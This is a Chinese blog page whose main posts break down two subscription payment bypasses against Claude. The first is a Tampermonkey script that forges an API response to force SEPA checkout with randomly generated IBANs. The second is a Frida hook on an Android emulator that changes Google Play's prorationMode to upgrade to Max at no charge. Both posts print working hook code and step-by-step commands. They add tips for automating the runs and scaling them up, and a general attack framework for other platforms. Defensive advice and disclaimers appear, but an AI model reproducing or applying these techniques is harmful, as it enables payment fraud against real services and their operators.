Claude on 逍遥笔记

焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门

Sun, 26 Jul 2026 04:49:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒：本文发布于 2026 年 7 月，文中涉及的 API 端点、支付流参数均为发布时有效值。Anthropic 随时可能修改 checkout_capabilities 响应结构或在后端追加校验逻辑，届时本方法将失效。本文保留仅供安全研究与客户端安全防御参考。

前言

最近圈子里流传着一个叫**「焚决」**的东西，名字取得很玄，搞得好像什么了不得的秘术。拿到手一看——是一段不到 200 行的 Tampermonkey 油猴脚本。

但别小看这 200 行代码。它干了一件非常漂亮的事情：在你打开 Claude 网页版准备付费订阅的瞬间，在浏览器内部悄无声息地篡改了一个 API 响应，把你看到的支付页面从信用卡表单换成了 SEPA 银行转账。然后你去 randomiban.com 随便生成一个德国银行账号，填进去，提交——Claude Max 到手，扣款金额 0 元。

这玩意在外面传得沸沸扬扬，各路卡网卖的廉价 Claude 会员，相当一部分就是靠这个批量生产的。

今天咱们把它彻底拆开。不光讲它怎么工作，更要讲为什么能成、它利用了支付系统的哪个结构性缺陷、以及这种攻击模式怎么迁移到其他平台。

一、攻击全景：一个 API 字段改写引发的连锁反应

正常的 Claude 订阅流程

打开 claude.ai，点击升级订阅，前端第一件事不是弹出支付表单——它先问后端一个问题：

GET /api/organizations/{org_id}/subscription/checkout_capabilities

这个接口的职责很简单：告诉前端，当前这个用户应该走哪条支付通道。 后端会综合 IP 地理位置、账号注册区域、浏览器 Accept-Language 等信号，返回一个支付流标识：

{
 "checkout_flow": "stripe"
}

前端拿到 stripe，渲染信用卡表单——卡号、有效期、CVV、3DS 二次验证，一套标准流程。信用卡支付是同步授权的，银行实时校验，过不了就是过不了。

劫持后的流程

脚本做的事情只有一件：把所有命中 checkout_capabilities 的响应体替换为：

{
 "checkout_flow": "cassia"
}

cassia 是 Anthropic 内部用于欧洲 SEPA 银行转账的支付流标识。前端一看返回值变了，渲染逻辑直接切换——不再是信用卡表单，而是一个 IBAN 输入框。

这时候去 randomiban.com 生成一个德国 IBAN（格式：DE + 2 位校验码 + 8 位银行代码 + 10 位账号，共 22 位），填进去，点提交。

前端校验？只检查 IBAN 格式是否合法（MOD 97-10 校验通过即可）。

后端校验？SEPA 体系下，提交时不做实时账户验证。

结果：Claude 立刻给你开通了订阅。

二、SEPA 直接借记——为什么填个假账号也能过

这是整个攻击的核心利用点，不理解 SEPA 的清算机制，就不可能理解这个漏洞为什么成立。

先搞清楚 SEPA 是什么

SEPA（Single Euro Payments Area，单一欧元支付区）覆盖 36 个欧洲国家和地区，是欧盟推动的统一支付基础设施。其中的 SEPA Direct Debit（直接借记，德语叫 Lastschriftverfahren）允许商家向消费者的银行账户"拉钱"——不是你给商家转账，而是商家拿着你的授权凭证去你的银行把钱取走。

听起来很方便对吧？问题就出在这个"拉钱"的流程设计上。

信用卡 vs SEPA 直接借记：两套完全不同的信任模型

	信用卡（Stripe 标准流）	SEPA 直接借记（cassia 流）
授权模式	同步在线授权	异步离线扣款
交易发起时校验	卡号 Luhn 校验 + CVV 验证 + 3DS 二次认证 + 银行实时授权	IBAN MOD 97-10 格式校验，仅此而已
银行参与时机	交易发起的瞬间	交易发起后的 1-3 个工作日
资金确认	毫秒级返回授权结果	银行不返回任何确认，排队等清算
消费者保护	Chargeback 争议流程	8 周无条件撤回权（SEPA CORE 规则）

看到关键区别了吗？信用卡在你点击支付的那一瞬间就跟银行确认了你有没有钱、卡号对不对、你本人是不是同意的。而 SEPA 直接借记完全不做这些——它只检查 IBAN 的格式，然后把扣款请求扔进银行间的批量清算队列里，等着慢慢处理。

SEPA CORE 清算流程

实际的清算过程是这样的：

你提交 IBAN
 ↓
支付网关做 MOD 97-10 校验（纯数学公式，检查 IBAN 格式是否合法）
 ↓
校验通过 → 支付网关返回"交易成功"
 ↓
Anthropic 收到成功信号 → 开通你的 Claude Max 订阅
 ↓
... T+1 到 T+3 工作日 ...
 ↓
扣款请求进入 SEPA CORE 清算系统
 ↓
商家银行 → 消费者银行：请从账号 DEXX XXXX XXXX XXXX XXXX XX 扣 $20
 ↓
消费者银行查询账号 → 账号不存在 / 余额不足 / 未授权
 ↓
返回 R 代码拒绝（R02=无效账号, R04=账户已关, R05=被授权人撤销...）
 ↓
Anthropic 收到扣款失败通知 → 关闭你的订阅

重点来了：从你提交 IBAN 到银行清算出结果，中间有一个 1-3 个工作日的真空期。 在这段时间里，你的 Claude Max 订阅是完全生效的——能用 Opus、能用所有高级功能、流量不限。

MOD 97-10：格式校验的局限性

IBAN 的校验算法叫 ISO 7064 MOD 97-10，原理其实很简单：

把 IBAN 的国家代码和校验码移到末尾
把字母转换为数字（A=10, B=11, …, Z=35）
对整个大整数做 MOD 97 运算
结果等于 1 就合法

这个算法能检出什么？格式错误——打错了某一位、漏了一位、国家代码不对。

这个算法检不出什么？一切跟真实世界有关的东西——账户是否存在、余额是否充足、持有人是不是你。

randomiban.com 生成的 IBAN 就是利用了这一点：它按照 MOD 97-10 算法逆向构造，生成的 IBAN 格式 100% 合法，能通过任何基于此算法的前端和后端校验。至于这个账号在不在现实中存在——那是 3 天后银行清算时才会发现的事情。

为什么偏偏是德国 IBAN？

SEPA 覆盖 36 个国家，为什么脚本选了德国（DE）？

格式最简单：DE 开头的 IBAN 固定 22 位，结构是 DE + 2位校验码 + 8位银行代码(BLZ) + 10位账号，没有额外的国家级校验叠加
通过率最高：德国 IBAN 在 Stripe 等主流支付网关的接受度最好，不会触发额外的地区风控
银行代码空间大：8 位 BLZ 有大量有效的银行代码段，随机生成碰上有效 BLZ 前缀的概率不低

对比一下法国 IBAN（27 位，还有额外的 RIB 密钥校验）或者西班牙 IBAN（24 位，有 DC 校验位），德国确实是阻力最小的选择。

三、脚本逐行技术拆解

理解了 SEPA 的机制，再来看脚本本身就清晰多了。每一个设计决策都有明确的技术理由。

3.1 元数据——抢在一切之前

// @name TestExample Cassia Response Mock
// @match *://claude.ai/*
// @match *://*.claude.ai/*
// @run-at document-start
// @grant none
// @sandbox raw

三个关键设定：

@run-at document-start：页面 DOM 还没开始构建，脚本已经注入完毕。这不是可选项——如果等到 document-idle，checkout_capabilities 的请求可能已经发出去了，Hook 就晚了。整个攻击成立的前提就是比目标请求更早完成注入。
@sandbox raw：绕过 Tampermonkey 的安全沙箱。默认沙箱会隔离脚本的执行上下文，导致你覆盖的 window.fetch 和页面实际用的 window.fetch 不是同一个。raw 模式下脚本直接在页面上下文中执行，Hook 才能真正生效。
@grant none：不申请 GM_* 系列 API 权限。一方面减少 Tampermonkey 的安全提示弹窗，另一方面 @sandbox raw 本身就不兼容 GM_* API。

3.2 精确制导——只改一个接口

const TARGET_PATH =
 /^\/api\/organizations\/[^/]+\/subscription\/checkout_capabilities\/?$/;

正则匹配精确到路径段，连末尾有没有斜杠都考虑了。只拦截这一个接口，其他所有请求原样放行。

为什么是这个接口？因为它是 Claude 前端支付流的单一决策点——前端根据它的返回值决定渲染 Stripe 信用卡表单还是 SEPA IBAN 输入框。控制了这个响应，就控制了用户看到的整个支付界面。

这种精准度也是为了隐蔽性——如果你 Hook 了所有请求，前端的行为会出各种异常，容易暴露。只改一个接口，前端其他部分的运行完全正常。

3.3 Fetch 拦截——先发后改

const nativeFetch = window.fetch;

window.fetch = async function (input, init) {
 const method = init?.method ||
 (input instanceof Request ? input.method : "GET");

 const targetUrl = getTargetUrl(input, method);
 const originalResponse = await nativeFetch.apply(this, arguments);

 if (!targetUrl) {
 return originalResponse;
 }

 return createMockResponse(originalResponse);
};

注意调用顺序：先用原生 fetch 把真实请求正常发出去，等拿到响应后再替换返回值。

这是这个脚本最巧妙的地方。

如果直接拦截请求不发出去，构造一个假响应返回呢？功能上没问题。但从服务端的角度看——你打开了支付页面，前端应该调 checkout_capabilities，结果后端日志里根本没看到这个请求。这就是一个异常信号，可以被 Anthropic 的安全团队用于检测。

先发后改的策略完美回避了这个问题：服务端日志里看到了正常的 GET 请求、正常的 200 响应，一切如常。篡改发生在浏览器内部，从 HTTPS 加密通道往外看什么都没变。

3.4 Response 重构——细节决定成败

function createMockResponse(originalResponse) {
 const headers = new Headers(originalResponse.headers);

 headers.delete("content-length");
 headers.delete("content-encoding");
 headers.delete("etag");
 headers.delete("content-md5");

 headers.set("content-type", "application/json; charset=utf-8");
 headers.set("content-length", String(MOCK_LENGTH));
 headers.set("cache-control", "no-store");

 const response = new Response(MOCK_BODY, {
 status: 200,
 statusText: "OK",
 headers
 });

逐个分析删掉的响应头：

content-encoding：原始响应大概率是 gzip 或 br 压缩的。我们构造的 JSON 是明文，如果不删这个头，浏览器会拿着明文 JSON 去做 gzip 解压——直接炸。
content-length：原始响应体大小和我们构造的不一样，不改的话浏览器会截断或报错。
etag / content-md5：完整性校验头。原始响应的哈希和我们篡改后的内容对不上。虽然浏览器通常不强制校验这些头，但删掉更保险——万一前端代码拿这些值做了缓存校验呢。
cache-control: no-store：强制不缓存。如果浏览器缓存了我们的假响应，下次刷新页面不走 Hook 了就拿到缓存的假数据——反而弄巧成拙。反过来，如果缓存了之前的真响应，前端可能直接用缓存不发请求，Hook 就没机会触发。no-store 确保每次都走网络请求，每次都经过 Hook。

3.5 XHR 双通道保险

脚本不光 Hook 了 fetch，还对 XMLHttpRequest 做了一套完整的拦截——覆盖了 responseText、response、status、statusText、getResponseHeader、getAllResponseHeaders。

为什么要两套？现代 Web 应用大多用 fetch，但你无法保证 Anthropic 的前端代码——或者它依赖的第三方库——不会在某些场景下 fallback 到 XHR。少 Hook 一个通道就是留了一条漏网之鱼。

XHR 的 Hook 方式也值得一看：

function replaceXhrGetter(propertyName, replacement) {
 const descriptor =
 Object.getOwnPropertyDescriptor(XhrPrototype, propertyName);

 if (!descriptor || typeof descriptor.get !== "function" ||
 descriptor.configurable === false) {
 console.warn(`[Cassia Mock] 无法接管 XHR.${propertyName}`);
 return;
 }

 const nativeGetter = descriptor.get;

 Object.defineProperty(XhrPrototype, propertyName, {
 ...descriptor,
 get: function () {
 if (!getMatchedXhr(this)) {
 return nativeGetter.call(this);
 }
 return replacement.call(this, nativeGetter);
 }
 });
}

用 Object.getOwnPropertyDescriptor 先取原始的 property descriptor，再通过 Object.defineProperty 精确替换 getter。比直接赋值靠谱得多——它保留了原始 descriptor 的所有属性（configurable、enumerable），而且会先检查 configurable 是否为 false，如果属性被冻结就优雅降级而不是静默失败。

3.6 状态指示器

const badge = document.createElement("div");
badge.id = "cassia-mock-badge";
badge.textContent = "Cassia Mock ON";

页面右下角一个绿色小角标，确认脚本已激活。实际攻击中这是个安慰剂——真正的确认是看支付页面有没有从信用卡变成 IBAN 输入框。但对于批量操作的卡商来说，这个视觉反馈能提高操作效率。

四、横向迁移：这不是一个漏洞，是一类漏洞

分析完焚决，我们跳出来看一个更有价值的问题：这类攻击是可复用的。

漏洞本质

客户端信任边界缺失：服务端将支付流的决策权——“这个用户该走哪条支付通道”——交给了一个客户端可以任意篡改的 API 响应。

这不是孤例。回顾我们之前分析过的一系列支付漏洞，它们共享同一个底层模式：

漏洞	被篡改的对象	信任边界裂缝
焚决（本例）	`checkout_capabilities` 响应	前端信任 API 返回值决定支付通道
GPT Plus offerToken 注入	Google Play Billing 内存中的 offerToken	服务端不校验 token 与账号资格的绑定关系
GPT iOS 收据复用	Base64 App Store 收据	服务端不验证收据与提交者账号的对应关系
Cloudflare Pro 竞态	并发请求的状态窗口	权限发放与支付确认之间存在可利用的时序差
RevenueCat 回调劫持	`fetch_token` 跨账号提交	第三方回调接口缺乏调用方鉴权

通用攻击模型

把这些漏洞抽象一下，可以提取出一个四步攻击框架：

1. 定位决策接口
 找到决定支付流 / 功能开关 / 定价计算的 API 端点
 信号关键词：checkout_capabilities, payment_methods, available_plans,
 eligible_promotions, feature_flags, entitlements

2. 注入篡改数据
 通过油猴脚本（Web）、MITM（移动端）、Frida Hook（Native）等
 方式替换响应内容

3. 选择确认延迟最长的路径
 SEPA 直接借记 > 银行转账 > PayPal > 信用卡
 延迟越长，时间窗口越大

4. 利用"前端校验 + 后端真空"
 前端校验通过后，后端在异步确认完成前不暂停服务发放

这个框架可以复用到任何订阅制平台，只要目标满足：

支付方式的选择依赖客户端可控状态
存在至少一种异步确认的支付方式
“服务开通"发生在"支付确认"之前

在漏洞挖掘实战中，打开 DevTools Network 面板，搜索 checkout、payment、billing、plan、subscription 这些关键词，找到所有影响支付逻辑的端点，逐个测试响应注入——这就是最直接的攻击面枚举方式。

五、防御视角

给服务端开发者

支付流决策必须服务端闭环。checkout_flow 的值应该在后端根据用户地区、账号状态、风控信号独立计算，前端只是一个渲染器——它不应该有能力选择自己走哪条支付通道。
异步支付必须延迟开通。SEPA、银行转账这类异步支付方式，在银行返回扣款成功确认之前，不应该开通任何付费功能。可以给用户一个"支付处理中"的状态，等清算完成后再激活。
API 响应签名。对关键 API 响应做 HMAC 签名（密钥存服务端），前端消费前验签。虽然不能根治（攻击者可以 Hook 验签逻辑），但大幅提高了攻击门槛——从改一个 JSON 字段变成了还得逆向验签实现。
IBAN 实时银行验证。接入 SWIFT gpi 或各国央行的 IBAN 验证服务（如德国 Bundesbank 的 IBAN 验证接口），在提交时做实时的账户存在性校验，而不是只靠本地 MOD 97。

给安全研究者

这类漏洞的攻击面很清晰——任何一个返回了影响支付逻辑数据的 API 端点，且这个数据可以被前端篡改，都是潜在的攻击入口。

一些高价值的"信号接口”：

checkout_capabilities / payment_methods / available_plans
region / locale / country_detection
eligible_promotions / offers / discounts
feature_flags / entitlements / subscription_tiers

六、实战翻车现场：“验证失败并清除旧会话”

讲完了攻击原理和防御思路，再来看一个真实场景——焚决并不是每次都能成功的。

在实际操作中（不管是焚决的 SEPA 路径还是正常的 Stripe 信用卡路径），你大概率会遇到这样一幕：

两条红色报错同时弹出来：

“未提交付款：发生了意外错误。请检查表单后重试。”
“验证失败并清除旧会话”

第一次看到这个，很多人会以为是卡的问题、网络的问题、脚本的问题。其实都不是——这是会话状态失效的问题，而且它能帮我们理解 Anthropic 的支付架构到底是怎么做验证的。

为什么会出现这个错误？

两条错误同时出现，意味着会话死在了支付提交的瞬间。理解这一点需要知道 Claude 支付提交时后端做了什么：

用户点击"提交支付"
 ↓
前端将 Stripe token / IBAN 提交到 Anthropic 后端
 ↓
后端第一件事：校验当前会话（session）是否有效
 ↓
会话失效 → 返回"验证失败" → 前端清除旧 session → 支付自然失败

关键点在于：Anthropic 在处理支付请求之前，会先验证你的登录会话。 如果会话已经过期或被吊销，支付请求根本不会到达 Stripe——它在 session 校验这一步就被打回来了。

五种常见的会话失效原因

① SK Cookie 过期（最常见）

Claude.ai 使用 __Secure-next-auth.session-token（业内简称 SK Cookie）维持登录态。这个 cookie 有 TTL，通常几个小时后过期。

如果你在打开支付页面之前获取的 cookie，到填完表单点提交的时候刚好过期——恭喜，踩中了时间窗口。自动化场景下尤其常见：任务在队列里排了一段时间，等轮到你的时候 cookie 已经不新鲜了。

② Session 被踢（多端互踢）

同一个账号如果在多个地方同时登录（比如你开了好几个 Worker 共用一个 cookie），后登录的会话会使前一个失效。你在 Worker A 上正准备提交支付，Worker B 刚好用同一个 cookie 做了一次请求刷新了 session——A 的 session 就死了。

③ 代理 IP 切换（Session-IP 绑定）

Anthropic 很可能在 session 上绑定了创建时的 IP 或 IP 段。如果你的代理在支付流程中间断线重连，换了一个出口 IP，后端一比对——这个 session 是从 45.67.xx.xx 创建的，现在请求来自 89.12.xx.xx？验证失败。

④ Stripe PaymentIntent 过期

即使 session 没问题，Stripe 侧也有自己的超时机制。PaymentIntent 和对应的 client_secret 有有效期（通常数小时，但在高风控场景下可能更短）。如果从打开支付页面到实际提交间隔太长，Intent 过期了，Stripe 返回错误，前端展示为"发生了意外错误"。

⑤ Checkout Session 并发冲突

同一个 Organization 如果同时发起了多个订阅操作（比如一个在升级 Pro，另一个在改支付方式），后一个操作创建的 checkout session 会使前一个失效。前一个提交的时候引用的 session ID 已经不存在了。

应对策略

针对这类会话失效问题，无论是做自动化还是做安全防护，都有几条通用原则：

从攻击者/自动化角度看：

策略	做法	解决的问题
Session 预检	进支付页之前先调 `/api/auth/session` 确认 cookie 存活	Cookie 过期
快进快出	打开支付页后立刻完成填写和提交，压缩停留时间	Intent 超时
代理钉住	支付全流程内锁定同一个代理出口，不允许中途切换	IP 绑定
Cookie 生命周期管理	记录每个 cookie 的获取时间，临近 TTL 时主动刷新	Cookie 过期
错误分类重试	检测到"清除旧会话"后标记为 session 失效，重新获取 cookie 再试	所有会话类问题
单账号串行化	同一个 org 同时只跑一个支付操作	并发冲突

从防御者角度看：

这个报错机制本身就是 Anthropic 的一层防线——在处理支付之前先验会话，避免在认证不确定的情况下创建订阅。这个设计是对的。

但如果要更进一步：

Session 绑定 + 支付确认二次绑定：不光 session 绑 IP，PaymentIntent 也应该绑定创建时的 session ID。Session 变了，Intent 就失效——即使攻击者拿到了一个新的有效 session，也得重新走一遍支付页面，不能复用之前的 Intent。
支付提交时的实时 Session 刷新：在提交支付的瞬间，后端不仅校验 session 是否有效，还可以强制刷新一次 token，确保提交时的 session 是"活跃"的而不仅仅是"未过期"的。
异常模式检测：如果一个 org 短时间内反复出现"session 校验通过 → 进入支付页 → 提交时 session 失效"的模式，说明有人在用自动化工具——标记为可疑行为。

小结

这个"验证失败"的报错看着烦人，但它揭示了一个重要的架构细节：Anthropic 的支付流不是单纯的前端-Stripe 双边交互，中间有一层 session 校验网关。 这层网关既是防线（挡住了过期/伪造的会话），也是自动化场景下最常踩的坑。

理解了这个机制，不管你是想加固自己平台的支付安全，还是想搞清楚为什么自己的自动化流程老是翻车——这个报错里都有答案。

七、写在最后

焚决这个东西，技术上说穿了就是一个客户端状态注入工具。它不攻击 Claude 的认证系统，不碰 Anthropic 的服务器，攻击目标是前端与后端之间那条看不见的信任边界。

它的精妙不在于代码多复杂——说真的 200 行 JS 连个正经项目的单元测试都撑不满——而在于它精准地捏住了两个系统设计缺陷的交叉点：

Anthropic 的前端支付流由一个可篡改的 API 响应驱动
SEPA 直接借记在清算完成前不验证账户真实性

两个缺陷单独拿出来，各自都不算致命。但组合在一起，就变成了一条从"修改一个 JSON 字段"到"零元订阅 Claude Max"的完整攻击链。

而这类"信任边界错位 + 异步确认间隙"的组合漏洞，绝不仅限于 Claude。任何一个同时提供信用卡和 SEPA 支付的 SaaS 平台，如果支付通道的选择权交给了前端，都可能面临同样的问题。

工具可以被修复，模式值得被记住。

Google Play 内购 CC Max 漏洞深度拆解 — 一个 Bundle.putInt 就能白嫖 $250/月的 Claude Max

Wed, 22 Jul 2026 10:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 免责声明：本文仅供安全研究与技术讨论。本文描述的漏洞已于 2026 年 7 月被修复。任何利用类似手段对正式服务进行未授权操作属违法行为，后果自负。

部分思路来自 cctest.ai 作者，在此致谢。

0x00 背景：$20 的 Pro，$250 的 Max，中间差了一个 hook

Claude 的 Android 客户端走 Google Play 内购（Google Play Billing Library）处理订阅。价格梯度大概是这样：

方案	月费
Pro	$20
Max 5x	$125
Max 20x	$250

正常流程：你是 Pro 用户，想升级到 Max，Google Play 会按剩余天数计算差价，立刻从你的信用卡上扣。

但如果我告诉你，有个参数决定了 Google Play 对这笔"升级"收不收钱呢？

而且这个参数，就是 Android Bundle 里一个普普通通的 putInt 调用？

0x01 prorationMode：Google Play 里最被低估的攻击面

Google Play Billing Library 在处理订阅升/降级时，有个参数叫 prorationMode（比例分配模式），定义在 BillingFlowParams.SubscriptionUpdateParams 里。它决定了用户切换订阅方案时的扣费逻辑：

值	常量名	行为
0	UNKNOWN_SUBSCRIPTION_UPGRADE_DOWNGRADE_POLICY	未知
1	WITH_TIME_PRORATION	按剩余时间折算差价，立刻扣费
2	CHARGE_PRORATED_PRICE	按比例收取差价
3	WITHOUT_PRORATION	立刻升级，本周期不收费，下个周期按新价扣
5	CHARGE_FULL_PRICE	立刻全额扣费
6	DEFERRED	延迟到下个周期才生效

重点关注 3 — WITHOUT_PRORATION：Google 官方文档里写得很清楚，这个模式的设计意图是"让用户立刻获得高级功能，但推迟扣费到下个计费周期"。本来是给某些业务场景用的（比如试用期升级），但如果被滥用……

Claude 的客户端代码里，升级订阅时用的是模式 1（WITH_TIME_PRORATION），也就是正常的按比例扣差价。它通过 Bundle.putInt("prorationMode", 1) 把这个值传给 Google Play 的计费 Activity。

这个 Bundle.putInt 调用发生在客户端侧。客户端侧的东西，你懂的。

0x02 攻击链：Frida 一条龙

整个攻击链其实非常简洁，所有操作都在模拟器上完成。用到的工具：

MuMu 模拟器（x86_64，因为要跑 Frida server 的 x86 版本）
KernelSU（MuMu 自带，用来获取 root）
Frida 17.16.0（动态插桩框架）
特定版本的 Claude APK（v1.260330.27，在 Uptodown 可以下到历史版本）
一个能扣 $20 的美区 Google 账号
家宽 IP（避免 Google 风控拦截）

步骤拆解：

第一步：搭环境

MuMu 模拟器装好后，用它自带的 Google 安装器装上 Google 套件 + Play 商店。打开 KernelSU Manager 给 Shell 授权 root。这步没啥技术含量，MuMu 对 Google 服务兼容性比 LDPlayer 好不少。

第二步：准备 Claude APK

这里有个前置问题——你不能直接从 Play 商店装 Claude。

现在的 Android 应用普遍使用 App Bundle（AAB）格式发布，Play 商店下发的是 split APK：base.apk 加一堆按设备拆分的 config splits（ABI、密度、语言）。x86_64 模拟器拿到的 splits 跟 ARM 真机不一样，而且 split APK 不能直接 adb install 侧载。

所以需要一个经过修补、移除了 split 限制的完整 APK。实测可用的版本是 v1.260330.27，从 Uptodown 等第三方市场可以找到历史版本的完整包。关键词：“已修补 split 限制”——就是把 App Bundle 重新打包成单个 APK，绕过 Play 商店的分发限制。

还有一个连锁问题：修补过的 APK 签名跟 Google Play 原版不一致（相当于 debug 签名），Google OAuth 登录会直接拒绝——点 “Continue with Google” 没反应或者报错。解决办法很简单：用邮箱登录（Continue with email），输入 Claude 账号的邮箱和密码，完全不走 OAuth。

第三步：部署 Frida

adb push frida-server-17.16.0-android-x86_64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell su -c "setenforce 0"
adb shell su -c "/data/local/tmp/frida-server -D &"

MuMu 有个坑：它的 ADB 端口不是标准 5555，而是 5557（多开的话 5559、5561 递增）。另外 MuMu 用 houdini 做 ARM 翻译，所以 Frida 必须用 attach 模式，不能用 spawn 模式（-f 参数），否则 houdini 翻译层直接 SIGSEGV 崩掉。

第四步：注入 Hook

核心的 hook 脚本其实就干了一件事——拦截 Bundle.putInt，把 key 为 prorationMode 的值从 1 改成 3：

var Bundle = Java.use("android.os.Bundle");
Bundle.putInt.overload("java.lang.String", "int").implementation = function (key, value) {
 if (key === "prorationMode") {
 console.log("[*] 拦截 prorationMode: " + value + " → 3 [WITHOUT_PRORATION]");
 return this.putInt(key, 3); // 就这一行，价值 $230/月
 }
 return this.putInt(key, value);
};

注意启动方式——必须先手动打开 Claude，再用 -H 连接（而不是 -U），因为 MuMu 的 USB 层跟标准 Android 不一样。而且 Frida 的进程名参数必须用显示名 Claude，不能用包名 com.anthropic.claude——MuMu 上 -H 模式下 Frida 按包名是找不到进程的，只认 app_process 里注册的显示名：

adb forward tcp:27042 tcp:27042
frida -H 127.0.0.1:27042 Claude -l hook-replacement-mode.js
# 注意：用 com.anthropic.claude 会报 "unable to find process"

这里还有个细节：脚本额外拦截了 SentryNdk.loadNativeLibraries 和 SentryAndroidNdk 的初始化方法，因为 Sentry 的 native crash 上报模块在 houdini 翻译层下也会崩。不拦截的话 App 直接闪退。

除了核心的 prorationMode 拦截，脚本还 hook 了 PurchaseReceipt 的构造函数，打印 purchase_token 和 organization_id。这个 org_id 是 Anthropic 后端用来标识组织/用户的唯一 ID（格式类似 6a085918-8383-44e5-9538-c4c81c6e122b），在规模化操作时用于追踪哪个 Claude 账号绑定了哪笔 Google Play 订阅——一个 Google 账号只能给一个 Claude 账号开通订阅，org_id 就是这个映射关系的 key。

第五步：走一遍正常支付

hook 注入成功后（控制台会显示 Frida Hook 注入成功!，App 里也会弹 Toast），正常操作：

用邮箱登录 Claude 账号（不能用 Google OAuth，原因见上）
在模拟器里绑定支付卡（需要能扣 $20 的真实/虚拟信用卡）
通过 Google Play 订阅 Pro（$20/月）—— 这笔钱是真扣的

第六步：触发升级

Pro 订阅成功后，直接在 App 里点"升级到 Max"。这时候 hook 就发挥作用了：

控制台输出：

[*] 拦截 prorationMode: 1 [WITH_TIME_PRORATION] → 3 [WITHOUT_PRORATION]

同时 PurchaseReceipt 的 hook 会打印出新订阅的 org_id，确认升级已经走通了 Anthropic 后端。

Google Play 的计费页面会显示：

产品：Claude Max
价格：$250.00/month（日区显示 JP¥42,500/month）
开始日期：2026年8月20日（注意，是下个月！）
“我们将于 2026年8月20日向您收取第一笔费用”

看到了吗？因为 prorationMode 被改成了 WITHOUT_PRORATION，Google Play 认为"当前不收费，下个计费周期再扣"。点击订阅，立刻升级到 Max，卡上不会多扣一分钱。

第七步：善后

升级成功后，去 payments.google.com 把这个订阅的支付方式换成余额钱包（Google Play 余额一般是 0）或者一张空的虚拟卡，然后解绑原来的支付卡。

下个月续费的时候，余额不够或者虚拟卡扣费失败，订阅自然过期。但这一个月的 Max 你已经用上了。

$20 的成本，享受 $250 的服务。利润率 1150%。

有一个规模化的硬约束：一个 Google 账号只能给一个 Claude 账号开通订阅。想批量撸就得不断囤 Google 号——这也是为什么这条灰产链的瓶颈不在技术，而在号源。

0x03 为什么这个 bug 能成立

从技术层面分析，这个漏洞能成立需要几个条件同时满足：

1. prorationMode 由客户端决定

这是最根本的问题。Google Play Billing Library 的设计是把 prorationMode 作为客户端参数传递给 Google Play 的计费系统。Google Play 本身不会校验"这个 App 有没有资格用 WITHOUT_PRORATION 模式"——它无条件信任客户端传来的值。

这是一个经典的信任边界错误：把安全关键参数的决定权放在了不可信的客户端侧。

2. 服务端验证缺位

Claude 的后端在收到 Google Play 的订阅回调时，主要验证的是"这个 purchase token 是否有效"和"订阅是否 active"。它不会去检查 prorationMode 是什么——因为这个信息在服务端回调里根本就没有。Google Play 的 purchases.subscriptions API 返回的数据里不包含当初用的是哪个 proration mode。

3. 历史版本 APK 的可用性

新版 Claude 可能已经做了混淆或者改变了参数传递方式，但旧版本在 Uptodown 等第三方市场永远可以下到。只要 Google Play 的 Billing API 版本还兼容，旧 APK 照样能完成订阅操作。

0x04 不用 hook 的路子：速刷

值得一提的是，prorationMode hook 并不是唯一的利用方式。圈子里还流传一种叫"速刷"的打法——不需要 Frida，不需要 hook，纯靠旧版本客户端的某些行为差异来打时间差。

具体原理不在本文展开（毕竟还没被修），但核心思路类似：利用 Google Play Billing Library 旧版本在处理订阅变更时的窗口期，在扣费确认到达之前完成订阅切换。跟 prorationMode hook 相比，速刷的门槛更低（不需要 root、不需要 Frida），但成功率也更低，而且强依赖特定的历史版本 APK。

这两种方法本质上攻击的是同一个面：Google Play 对客户端行为的过度信任。

0x05 修复状态与后续

截至 2026 年 7 月，prorationMode hook 这个特定的攻击路径已被修复。从修复思路上猜测，可能的措施包括：

客户端侧：新版 Claude APK 不再使用 Bundle 明文传递 prorationMode，可能改用了加密或者服务端控制
服务端侧：在处理升级回调时增加了额外验证（比如检查 linkedPurchaseToken 的订阅金额是否合理）
Google Play 侧：Google 可能限制了 WITHOUT_PRORATION 模式的使用场景（需要应用显式在 Google Play Console 配置）

但说实话，Google Play Billing 的这个攻击面远没有被堵死。prorationMode 只是其中一个参数，BillingFlowParams 里还有其他可操控的字段。只要"客户端构建支付参数 → 传给 Google Play → Google Play 无条件执行"这个模型不变，同类问题就会持续出现。

据了解，目前仍有针对其他参数或其他 App 的类似攻击手法在流通。Google Play 内购系统的安全模型，说白了就是建立在"客户端可信"这个脆弱假设上的。

0x06 技术启示

如果你是开发者，从这个漏洞可以学到：

永远不要信任客户端传来的支付参数。即使是通过 Google Play 这种"可信"中间人，底层的 BillingFlowParams 仍然是客户端构造的。
服务端必须独立验证订阅状态。不要只检查 token 有效性，还要验证订阅的实际扣费金额（通过 purchases.subscriptions 的 priceAmountMicros 字段）与预期是否一致。
Pin APK 版本。如果你依赖客户端逻辑做安全控制，服务端应该检查客户端版本号，拒绝过旧版本的请求。

如果你是安全研究者，这个 case 是一个很好的"API 信任边界"研究样本。Google Play Billing Library 把自己定位成"安全的支付中间件"，但它实际上信任了太多来自客户端的输入。类似 Frida hook Bundle.putInt 这种低成本的攻击手段，在整个 Android 内购生态里适用面很广。

本文记录的是一个已修复的安全问题，旨在帮助开发者理解 Google Play 内购系统的安全边界。

如果你对 Android 安全、支付系统攻防感兴趣，欢迎关注博客，后续会持续更新更多分析。

Windsurf 开源反代工具：59 个 AI 模型一站式接入

Sun, 19 Apr 2026 14:45:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一分钟速读：WindsurfAPI 把 Windsurf IDE 的后端 Language Server 独立部署，封装成 OpenAI 兼容接口，支持 59 个大模型调用，自带账号管理和负载均衡。

项目背景

Windsurf 是一款专注于 AI 辅助编程的集成开发环境（之前叫 Codeium），在开发者圈子里口碑不错。它内置的 Language Server 负责与各种大模型通信，让开发者能在 IDE 里直接调用 Claude、GPT 等模型的能力。

一位 GitHub 开发者（@dwgx）发现，这个 Language Server 其实可以独立运行。于是他做了个有趣的尝试——把它从 IDE 里抽离出来，包装成标准的 OpenAI API 格式。

项目仓库：https://github.com/dwgx/WindsurfAPI

